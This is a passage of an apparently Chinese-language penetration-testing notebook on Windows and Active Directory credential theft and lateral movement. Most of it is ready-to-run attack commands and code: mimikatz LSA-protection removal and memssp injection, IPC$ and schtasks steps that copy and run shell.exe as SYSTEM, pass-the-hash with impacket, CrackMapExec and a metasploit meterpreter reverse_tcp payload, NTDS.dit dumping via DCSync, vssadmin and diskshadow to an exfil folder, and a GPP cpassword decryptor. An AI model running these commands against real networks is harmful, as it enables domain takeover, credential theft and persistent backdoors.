- [Post Exploitation Using NetNTLM Downgrade Attacks](https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks)
**相关工具**
- [eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)
```
InternalMonologue -Downgrade False -Restore False -Impersonate True -Verbose False -Challenge 1122334455667788
```
如果以普通用户权限执行 InternalMonologue,能够获得当前用户权限的 Net-NTLMv2 数据包,通过 hashcat 进行破解,能获得当前用户的明文口令
---
#### Bypass LSA Protection
1. 从磁盘上的 SAM 读取凭据
2. mimikatz 其中的 mimidrv.sys 驱动程序,可从 lsass.exe 进程中删除 LSA 保护,成功 pypass LSA Protection。
```
privilege::debug
!+
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
```
---
#### Bypass Credential Guard
**描述**
SSP 是参与用户身份验证的 Microsoft 软件包,如在用户登录时被调用,并接收该用户的凭据。在系统启动时 SSP 会被加载到进程 lsass.exe 中。
Mimikatz 可通过内存安装自定义的 ssp,修改 lsass 进程的内存,实现从 lsass 进程中提取凭据,mimikatz 执行 misc::memssp 后,如果再输入了新的凭据 (如用户锁屏后重新登录),将会在 c:\windows\system32 下生成文件 mimilsa.log,其中保存有用户明文密码。
```
privilege::debug
misc::memssp
```
**相关文章**
- [Revisiting a Credential Guard Bypass](https://itm4n.github.io/credential-guard-bypass/)
- https://github.com/itm4n/Pentest-Windows/tree/main/CredGuardBypassOffsets
---
#### DPAPI
由于功能需求,Dpapi 采用的加密类型为对称加密,所以只要找到了密钥,就能解开物理存储的加密信息了。
**相关文章**
- [通过Dpapi获取Windows身份凭证](https://www.lz1y.cn/2019/10/08/%E9%80%9A%E8%BF%87Dpapi%E8%8E%B7%E5%8F%96Windows%E8%BA%AB%E4%BB%BD%E5%87%AD%E8%AF%81/)
- [渗透技巧——获取Windows系统下DPAPI中的MasterKey](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey/)
**相关工具**
- [mimikatz](../../安全工具/mimikatz.md#dpapi)
**延长 MasterKey 的有效期**
```c
#include <windows.h>
int main(void)
{
SYSTEMTIME st={0};
FILETIME ft={0};
printf("[+]Start to change expiry time...\n");
st.wYear = 2025;
st.wMonth = 12;
st.wDay = 30;
st.wHour = 12;
st.wMinute = 30;
st.wSecond = 30;
printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
SystemTimeToFileTime(&st,&ft);
printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);
FILE *fp;
fopen_s(&fp,"Preferred","rb+");
fseek(fp,16,SEEK_SET);
fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
fclose(fp);
printf("[+]Change success.\n");
return 0;
}
```
---
#### NTLM反射
- [NTLM反射](./实验/NTLM中继.md#ntlm-反射)
---
### 工作组
#### IPC$
关于 IPC$ 应用的基本知识点可见笔记 [IPC$](../../../Integrated/Windows/笔记/IPC$.md)
**相关文章**
- [IPC$入侵大全](https://www.cnblogs.com/backlion/p/7401609.html)
- [内网渗透 | 基于IPC的横向移动](https://sec.thief.one/article_content?a_id=033847e03bd6e49dbc730c7315d5b4d6)
- [关于IPC和PTH用户权限问题](https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/)
- [Windows的IPC$共享学习](https://mp.weixin.qq.com/s/QEAgpvit3n7MMhRWosArMA)
**IPC$ 的利用条件**
- 139,445 端口开启
- 管理员开启了默认共享
**攻击方式**
空连接 (权限低)
```bash
net use \\192.168.1.1\ipc$ /u:"" ""
net use \\192.168.1.1\c$ "" /user:administrator # 空连接,无密码
```
非空连接
```bash
# 普通用户权限建立时,仅能查看时间
net time \\192.168.1.1
# 管理员权限
net use \\192.168.1.1\c$ “12345@12345qw” /user:ffffffff0x\administrator
net use \\192.168.1.1\c$ /del # 删除建立的 IPC 连接
net use # 查看本机连接共享情况
dir \\192.168.1.1\c$\Users # 查看远程文件
net use k: \\192.168.1.1\c$ /u:"administrator" "Admin@admin" # 远程盘映射到本地
tasklist /S 192.168.1.1 /U administrator -P Admin@admin # 查看进程
copy test.txt \\192.168.1.1\c$ # 将指定文件拷贝到目标系统中
# 执行定时任务
# at命令:只适用于win xp、2003等低版本:at 命令是Windows自带的用于创建计划任务的命令,但是 at 命令只在2003及以下的版本使用
net use \\192.168.1.1 /u:"administrator" "Admin@admin"
copy shell.exe \\192.168.1.1\c$ # 拷贝shell
net time \\192.168.1.1 # 查看目标时间
at \\192.168.1.1 11:11:00 cmd.exe /c "c:\shell.exe"
# schtasks 命令:Windows Vista、Windows Server 2008及之后版本
net use \\192.168.1.1 /u:"administrator" "Admin@admin"
copy shell.exe \\192.168.1.1\c$ # 拷贝shell
net time \\192.168.1.1 # 查看目标时间
schtasks /create /s 192.168.1.1 /u administrator /p Admin@admin /tn test_sch /tr c:/shell.exe /sc once /st 11:11
# /s 目标 /u 用户名 /p 密码 /tn 计划任务名 /tr 指定文件路径 /sc 执行次数 或频率 /st 开始时间
schtasks /query /s 192.168.1.1 /u administrator /p Admin@admin /tn test_sch # 查看任务计划
schtasks /delete /s 192.168.1.1 /u administrator /p Admin@admin /tn test_sch # 删除任务计划
# 在目标主机上创建一个名为 test_sch 的计划任务,启动程序为c:/shell.exe ,启动权限为system,启动时间为每隔一小时启动一次
schtasks /create /s 192.168.1.1 /u administrator /p Admin@admin /tn test_sch /sc HOURLY /mo 1 /tr c:/shell.exe /ru system /f
schtasks /run /s 192.168.1.1 /u administrator /p Admin@admin /i /tn test_sch # 启动该计划任务
```
---
#### WinRM
关于 WinRM 的基本知识点可见笔记 [WinRM](../../../Integrated/Windows/笔记/WinRM.md)
cmd 下,本地也配置允许任意机器连接,然后访问远程主机 winrm
```
Winrm quickconfig
winrm set winrm/config/client @{TrustedHosts="*"}
winrs -r:http://192.168.1.1:5985 -u:administrator -p:Abcd12345 ipconfig
```
在 IIS 监听 80 端口的情况下,可以通过设置 WinRM 监听端口为 80,再设置监听 URI 的方式来复用 80 端口。以此作为隐蔽的后门。
---
#### PTH
path-the-hash,中文直译过来就是 hash 传递,在域中是一种比较常用的攻击方式。
利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用 NTLM 认证的一种缺陷,利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器,扩展权限。
**相关文章**
- [hash传递攻击研究](http://sh1yan.top/2019/05/19/Hash-Passing-Attack-explore/)
- [Passing-the-Hash to NTLM Authenticated Web Applications](https://labs.f-secure.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/) - PTH 在 Web 应用中的应用
- [浅学Windows认证](https://b404.xyz/2019/07/23/Study-Windows-Authentication/)
- [KB22871997是否真的能防御PTH攻击?](https://www.anquanke.com/post/id/193150)
- [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/)
- [【技术分享】从hash传递攻击谈相关Windows安全机制](https://www.anquanke.com/post/id/85995)
- [内网各端口hash传递技巧](https://mp.weixin.qq.com/s/IHnbeGoaSwHfWwomHZHcdQ)
**攻击适用情况**
- 在工作组环境中:
- Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Vista 之后的机器,只能是 administrator 用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非 administrator)也不能使用哈希传递攻击,会提示拒绝访问。
- 在域环境中
- 只能是域管理员组内用户(可以是域管理员组内非 administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
**攻击必要条件**
- 哈希传递需要被认证的主机能够访问到服务器
- 哈希传递需要被传递认证的用户名
- 哈希传递需要被传递认证用户的 NTLM Hash
**攻击方式**
通常来说,pass-the-hash 的攻击模式是这样的:
1. 获取一台域主机高权限
2. 利用 mimikatz 等工具导出密码 hash
3. 用导出的 hash 尝试登录其他域主机
要完成一个 NTLM 认证,第一步需要客户端将自己要参与认证的用户名发送至服务器端,等待服务器端给出的 Challenge⋯⋯,其实哈希传递就是使用用户名对应的 NTLM Hash 将服务器给出的 Chanllenge 加密,生成一个 Response,来完成认证。
Pass The Hash 能够完成一个不需要输入密码的 NTLM 协议认证流程,所以不算是一个漏洞,算是一个技巧。
比如 SMB 可以直接基于 TCP 协议或者 NetBIOS over TCP,SMB 的认证可以基于 SMB,也可以基于 kerberos,这两种认证方式,前者本质上使用了 hash,后者本质上使用了 ticket,导致了 SMB 的 PtH 和 PtT 攻击存在的基础。
目前常用的 hash 传递工具都是通过 445 端口进行攻击的,也是因为 smb 使用了 ntml 认证,所以导致可以 hash 传递。
- mimikatz
mimikatz 的 PTH 相关操作见 [mimikatz 笔记](../../安全工具/mimikatz.md#pth)
- wmiexec
- [Invoke-WMIExec](https://github.com/Kevin-Robertson/Invoke-TheHash)
```
Invoke-Module Invoke-TheHash.psd1
Invoke-WMIExec -Target 192.168.1.1 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
Invoke-SMBExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
```
- [wmiexec](https://github.com/maaaaz/impacket-examples-windows)
```
wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.1.1 "whoami"
```
- WMIC
```cmd
wmic /node:host /user:administrator /p 密码 process call create “c:\windows\temp\foobar.exe”
```
- PStools
```cmd
psexec.exe \\ip -accepteula -u username -p password program.exe
```
```
psexec \\ip -u user -p passwd cmd /c dir D:\
```
- [impacket](https://github.com/SecureAuthCorp/impacket)
```bash
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
cd impacket/examples
```
- Psexec.py
Psexec.py 允许你在远程 Windows 系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程 shell 命令(不需要安装任何客户端软件)。
```
./psexec.py test/Administrator:Abcd1234@192.168.1.100
```
- Wmiexec.py
生成一个使用 Windows Management Instrumentation 的半交互式 shell,并以管理员身份运行。
```
./wmiexec.py test/Administrator:Abcd1234@192.168.1.100
```
- Atexec.py
通过 Task Scheduler 服务在目标系统上执行命令,并返回输出结果。
```
./atexec.py test/Administrator:Abcd1234@192.168.1.100 whoami
```
- metasploit
目标主机的 Vista 之后的机器,所以只能使用 administrator 用户进行攻击。
```bash
use exploit/windows/smb/psexec # 或 use exploit/windows/smb/psexec_psh
set rhosts [ip]
set smbuser [user] # 域中的 PTH 这里不需要写域前缀
set smbpass [password] # 例如: 00000000000000000000000000000000:c780c78872a102256e946b3ad238f661
set payload windows/meterpreter/reverse_tcp
set lhost [ip]
# 工具的参数需要填写固定格式 LM hash:NT hash,可以将 LM hash 填 0(LM hash 可以为任意值),即 00000000000000000000000000000000:NT hash。
exploit
```
- pth-winexe
kali 自带的 PTH 套件每个工具都针对 WIN 下相应的 EXE 文件,如使用 Pth-winexe 可以借助哈希执行程序得到一个 cmdshell:
```bash
export SMBHASH=xxxxxx...:xxxx...
pth-winexe -U administrator% //target-ip cmd
# no password 就需要替换成空的 LM hash 加密值: aad3b435b51404eeaad3b435b51404ee
```
- [byt3bl33d3r/CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) - A swiss army knife for pentesting networks
```bash
pip2 install crackmapexec
cme smb x.x.x.x -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -x whoami
```
- [cube0x0/SharpMapExec](https://github.com/cube0x0/SharpMapExec) - c#版本的cme
- [ShawnDEvans/smbmap](https://github.com/ShawnDEvans/smbmap) - SMBMap is a handy SMB enumeration tool
##### kb2871997
> 以下部分内容来自 <sup>[Windows内网协议学习NTLM篇之NTLM基础介绍](https://www.anquanke.com/post/id/193149)、[KB22871997是否真的能防御PTH攻击?](https://www.anquanke.com/post/id/193150)</sup>
在 type3 计算 response 的时候,客户端是使用用户的 hash 进行计算的,而不是用户密码进行计算的。因此在模拟用户登录的时候。是不需要用户明文密码的,只需要用户 hash。
微软在 2014 年 5 月 13 日发布了针对 Pass The Hash 的更新补丁 kb2871997,能够缓解 PTH, 具体更改为以下几点。
- 支持 “Protected Users” 组;
- “Protected Users”组是 Windows Server 2012 R2 域中的安全组,“Protected Users”组的成员会被强制使用 Kerberos 身份验证,并且对 Kerberos 强制执行 AES 加密。
- Restricted Admin RDP 模式的远程桌面客户端支持;
- Restricted Admin RDP 模式是为了避免将 Client 端的凭据暴露给远程系统,同时也产生一种变种的 Pass The Hash(Passing the Hash with Remote Desktop)
- 注销后删除 LSASS 中的凭据;
- 在这个更新之前,只要用户登录系统,Windows 就会在 lsass 中缓存用户的凭据,包括用户的明文密码、LM/NTLM HASH、Kerberos 的 TGT 票据 / Session Key。
- 添加两个新的 SID;
- 本地帐户,LOCAL_ACCOUNT(S-1-5-113),所有本地帐户继承自此 SID;
- 本地帐户和管理组成员,LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114),所有管理员组的本地用户继承此 SID。
- 注意:S-1-5-114 这里在中文操作系统中提供的翻译是“NT AUTHORITY \ 本地帐户和管理员组成员”,但实际上是“所有本地 Administrators 组中的本地帐户”,即域用户即使被加入到了本地 Administrators 组也不继承此 SID。
- LSASS 中只允许 wdigest 存储明文密码。
但 kb2871997 对于本地 Administrator(rid 为 500,操作系统只认 rid 不认用户名,接下来我们统称 RID 500 帐户)和本地管理员组的域用户是没有影响的。
但 ntlm 认证通过之后,对 ADMIN$ 没有写入权限。那么是什么阻止了我们对本地管理员组的非 RID500 帐户使用哈希传递?为什么 RID 500 帐户具有特殊情况?除此之外,为什么本地管理员成员的域帐户也可以免除这种阻止行为。
真正罪魁祸首是远程访问上下文中的用户帐户控制(UAC)令牌筛选
根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到,UAC 为了更好的保护 Administrators 组的帐户,会在网络上进行限制。
对于本地 “管理员” 组中的域用户帐户,文档指出:当具有域用户帐户的用户远程登录 Windows Vista 计算机并且该用户是 Administrators 组的成员时,域用户将在远程计算机上以完全管理员访问令牌运行,并且该用户的 UAC 被禁用在该会话的远程计算机上。
对于远程连接到 Windows Vista+ 计算机的任何非 RID 500 本地管理员帐户,无论是通过 WMI,PSEXEC 还是其他方法(有个例外,那就是通过 RDP 远程),即使用户是本地管理员,返回的令牌都是已过滤的管理员令牌,但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员(full administrator)的 Access Token 运行,并且 UAC 不会生效。
实验中域用户 test 能够成功 PTH,而本地用户 test1 pth 无法成功,是因为以 test1 pth 的身份发起的请求被 UAC 拒绝。而 administrator 用户成功的原因同样是因为 UAC。
- **FilterAdministratorToken**
那如何限制 administrator 的远程登录呢?那就是直接把 FilterAdministratorToken 开启就可以了。路径 :`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken` 设置为 1, 修改之后策略会立即生效,则 RID 500 帐户(即使已重命名)也已注册为 UAC 保护。这意味着使用该帐户的计算机的远程 PTH 将失败,使用 administrator 的远程连接也被拒绝了。
- **LocalAccountTokenFilterPolicy**
那如何禁用 UAC 的限制?如果注册表 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` 项存在 (默认不存在) 且配置为 1,将授予来自管理员所有本地成员的远程连接完整的高完整性令牌。这意味着未过滤非 RID 500 帐户连接,并且可以成功传递哈希值!
默认情况下这个注册表项是不存在的,我们可以用以留作后门,但是有意思的是,在配置 Windows Remoting 的时候,有大量的 Microsoft 文档,建议将 LocalAccountTokenFilterPolicy 设置为 1,以解决或解决各种问题,于是有些运维在搜寻了一堆文章后,会开启该注册表项。
##### PTH with RDP
---
#### PTK
对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012,可以使用 AES keys 代替 NT hash
**攻击方式**
- **mimikatz**
mimikatz 的 PTK 相关操作见 [mimikatz 笔记](../../安全工具/mimikatz.md#ptk)
---
### 域
**相关文章**
- [横向渗透-域渗透 PTT、PTH、PTK](http://1984-0day.com/2020/04/05/%E6%A8%AA%E5%90%91%E6%B8%97%E9%80%8F-%E5%9F%9F%E6%B8%97%E9%80%8F-PTT%E3%80%81PTH%E3%80%81PTK/)
- [我所了解的内网渗透——内网渗透知识大总结](https://www.anquanke.com/post/id/92646#h2-10)
- [域渗透之IPC MS14068 Pth Ptt Ptk Kerberoating](https://www.chabug.org/web/686.html)
#### NTDS.DIT
在域内 HASH 是存在 NTDS.DIT 中的, NTDS.DIT 是一个二进制文件,就等同于本地计算机的 SAM 文件,它的存放位置是 `%SystemRoot%\ntds\NTDS.DIT` 。这里面包含的不只是 Username 和 HASH,还有 OU、Group 等信息。
AD 数据库是 Jet 数据库引擎,它使用提供数据存储和索引服务的可扩展存储引擎(ESE)ESE 级索引使对象属性可以快速定位。
ntds.dit 文件由三个主表组成:数据表,链接表和SD表。
破解 ntds.dit 需要结合 SYSTEM 文件
**相关文章**
- [从NTDS.dit获取密码hash的三种方法](https://www.freebuf.com/sectool/176876.html)
- [导出域密码哈希值的多种方法介绍](https://www.freebuf.com/articles/system/177764.html)
- [How Attackers Dump Active Directory Database Credentials](https://adsecurity.org/?p=2398)
##### NTDS转储
**Impacket**
- 工具地址 : [impacket](https://github.com/SecureAuthCorp/impacket)
Impacket 是一组 python 脚本,可用于执行各种任务,包括提取 NTDS 文件的内容。impacket-secretsdump 模块需要我们提供 SYSTEM 和 NTDS 数据库文件。
```bash
./secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
# system:表示系统 hive 文件的路径(SYSTEM)
# ntds:表示 dit 文件的路径(ntds.dit)
```
此外,impacket 可以通过使用计算机帐户及其哈希进行身份验证从 NTDS.DIT 文件远程转储域密码哈希。
```bash
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```
**DSInternals PowerShell**
- 工具地址 : [MichaelGrafnetter/DSInternals](https://github.com/MichaelGrafnetter/DSInternals)
DSInternals PowerShell 模块提供了构建在框架之上的易于使用的 cmdlet。主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。
```powershell
Save-Module DSInternals -Path C:\Windows\System32\WindowsPowershell\v1.0\Modules
Install-Module DSInternals
Import-Module DSInternals
Get-Bootkey -SystemHivePath 'C:\Users\sanje\Desktop\NTDS\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\Users\sanje\Desktop\NTDS\ntds.dit' -Bootkey $key
```
**Ntdsxtract**
- 工具地址 : [libyal/libesedb](https://github.com/libyal/libesedb/) - Library and tools to access the Extensible Storage Engine (ESE) Database File (EDB) format.
- 相关文章 : [Extracting Hashes and Domain Info From ntds.dit](https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/)
首先我们需要从 NTDS.dit 文件中提取表格,这里我们可以通过 libesedb-tools 中的 esedbexport 来帮我们完成。Libesedb 是一个用于访问可扩展存储引擎(ESE)数据库文件(EDB)格式的库。当前,ESE 数据库格式被应用于许多不同的应用程序上,如 Windows Search,Windows Mail,Exchange,Active Directory(NTDS.dit)等。
安装
```bash
get https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
tar xf libesedb-experimental-20200418.tar.gz
cd libesedb-20200418
apt-get install -y autoconf automake autopoint libtool pkg-config
./configure
make
make install
ldconfig
```
利用该工具从 ntds.dit 文件中转储表格
```bash
esedbexport -m tables /root/Desktop/NTDS/ntds.dit
```
下载 ntdsxtract 提取用户信息和密码哈希值
```bash
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build && python setup.py install
dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 data --syshive /root/Desktop/NTDS/SYSTEM --passwordhashes --pwdformat john --ntoutfile nthash.txt --lmoutfile lmhash.txt
```
##### Dcsync
DCSync 是 mimikatz 在 2015 年添加的一个功能,能够用来导出域内所有用户的 hash
**相关文章**
- [关于windows下的ACL与dcsync](https://my.oschina.net/u/4587690/blog/4696089)
- [域渗透——DCSync](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync/)
- [域渗透——使用MachineAccount实现DCSync](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8MachineAccount%E5%AE%9E%E7%8E%B0DCSync/)
**利用原理**
DCSync 的利用条件:获得以下任一用户的权限:
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控制器的计算机帐户
**特权用户**
向域内的一个普通用户添加如下三条 ACE(Access Control Entries):
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用 DCSync 导出域内所有用户 hash 的权限
配合 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- 给 test 添加 ACE
```
Add-DomainObjectAcl -TargetIdentity "DC=ffffffff0x,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose
```
- 给 test 删除 ACE
```
Remove-DomainObjectAcl -TargetIdentity "DC=ffffffff0x,DC=com" -PrincipalIdentity test -Rights DCSync -Verbose
```
**利用方法**
- mimikatz
- [mimikatz 笔记](../../安全工具/mimikatz.md#DCSync)
- powershell
- https://gist.github.com/monoxgas/9d238accd969550136db
**检测方法**
- [cyberark/ACLight](https://github.com/cyberark/ACLight) - 枚举 Active Directory 中所有用户的 ACL,标记出特权帐户
##### 卷影复制
卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。
**WMIC**
```
wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log"
wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1"
wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1"
net use k: \pentest.comc$
```
**metasploit**
```bash
auxiliary/admin/smb/psexec_ntdsgrab
windows/gather/credentials/domain_hashdump
hashdump
```
**NTDSUtil**
Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具。
使用 NTDSUTIL 的 IFM 创建(VSS 卷影副本)在 DC 上本地引用 ntds.dit
NTDSUtil 是本地处理 AD DB 的命令实用程序(ntds.dit),并为 DCPromo 启用 IFM 集创建。IFM 与 DCPromo 一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个 DC 复制域数据。
```
ntdsutil "ac i ntds" "ifm" "create full c:temp" q q
```
当创建一个 IFM 时,VSS 快照被拍摄,挂载,ntds.dit 文件和相关数据被复制到目标文件夹中。
**Nishang**
```
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```
**PowerSploit**
```
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
```
**DiskShadow**
DiskShadow 是一个 Microsoft 签名二进制文件,用于协助管理员执行与卷影复制服务(VSS)相关的操作。这个二进制文件有两个模式 interactive 和 script ,脚本将包含自动执行 NTDS.DIT 提取过程所需的所有命令。我们可以在脚本文件中添加以下行,以创建新的 volume shadow copy(卷影复制),挂载新驱动,执行复制命令以及删除 volume shadow copy。
```
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
```
需要注意的是,DiskShadow 二进制文件需要从 C:\Windows\System32 路径执行。如果从其它路径调用它,脚本将无法正确执行。
```
diskshadow.exe /s c:\diskshadow.txt
```
直接从解释器运行以下命令,将列出系统的所有可用 volume shadow copy。
```
diskshadow
LIST SHADOWS ALL
```
SYSTEM 注册表 hive 也应该被复制,因为其包含了解密 NTDS 文件内容所需的密钥。
```
reg.exe save hklm\system c:\exfil\system.bak
```
**ntdsutil**
```
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
```
它将为我们生成两个新文件夹:Active Directory 和 Registry。NTDS.DIT 文件将被保存到 Active Directory 中,而 SAM 和 SYSTEM 文件则将被保存到 Registry 文件夹中。
**vssadmin**
volume shadow copy 是一个 Windows 命令行实用程序,管理员可以使用它备份计算机,卷以及文件(即使操作系统正在使用这些资源)。Volume Shadow Copy 作为一个服务运行,并要求文件系统的格式为 NTFS(默认情况下 windows 操作系统文件格式均为 NTFS)。从Windows 命令提示符执行以下命令,将会创建一个 C 盘的快照,这样我们就可以将其复制到另一个位置(如本地文件夹,网络文件夹或可移动介质)以获取它的访问权限。
```
vssadmin create shadow /for=C:
```
由于我们已经将 C 盘中的所有文件都复制到了另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,我们可以随意访问并复制其中的文件。使用 copy 命令将 NTDS.DIT 和 SYSTEM 文件,复制到本地名为 ShadowCopy 的驱动中的新建文件夹中。
```
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```
---
#### mscash
**相关文章**
- [你并不懂 Mimikatz Part 2 - MSCACHE](https://mp.weixin.qq.com/s/mTpYcHebvlERj9ek2_Pu8Q)
**利用手段**
- mimikatz
```bash
lsadump::cache # 获取 SysKey 用于解密 NLKM 和 MSCache(v2)
```
- [QAX-A-Team/mscache](https://github.com/QAX-A-Team/mscache) - a tool to manipulate dcc(domain cached credentials) in windows registry, based mainly on the work of mimikatz and impacket
```
python mscache.py --security security --system system
```
---
#### GPP
关于 windows 组策略的基本知识点可见笔记 [组策略](../../../Integrated/Windows/笔记/组策略.md)
在 GPP 出现之前,很多统一管理的操作只能通过脚本来实现,而 GPP 方便和简化了这样的管理,GPP 你可以将其理解为一个功能点,作用是简单化、规范化组策略的发布和使用。
注 : GPP 漏洞只在 2008 没打补丁版本上存在,超过 2008 版本的系统是没办法写入密码的。
域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹 \SYSVOL 下,默认所有域内用户可访问,虽然被加密,但很容易被解密,访问 XML 文件,利用 AES 私钥可以解密 GPP 密码。
在2012年前的某些点外,微软在 MSDN 上发布了 AES 的私钥,它可以用来解密这种密码。因为认证用户(所有域用户或者信任域里的用户)对 SYSVOL 拥有读权限。在域里的任何用户可以搜索 SYSVOL 共享中的带有 cpassword 字样的 XML 文件,里面包含了 AES 加密的密码。
- 微软在 MSDN 上发布的 AES 加密密钥(共享密钥) : https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN
使用 PowerShell 脚本解密 : https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
参考 https://xz.aliyun.com/t/1653 ,可简化 powershell 脚本如下,替换其中 GPP 密码即可
```powershell
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"
```
**组策略中该目录下的其他 XML 文件**
- \User\Preferences\Groups
- Services\Services.xml
- ScheduledTasks\ScheduledTasks.xml
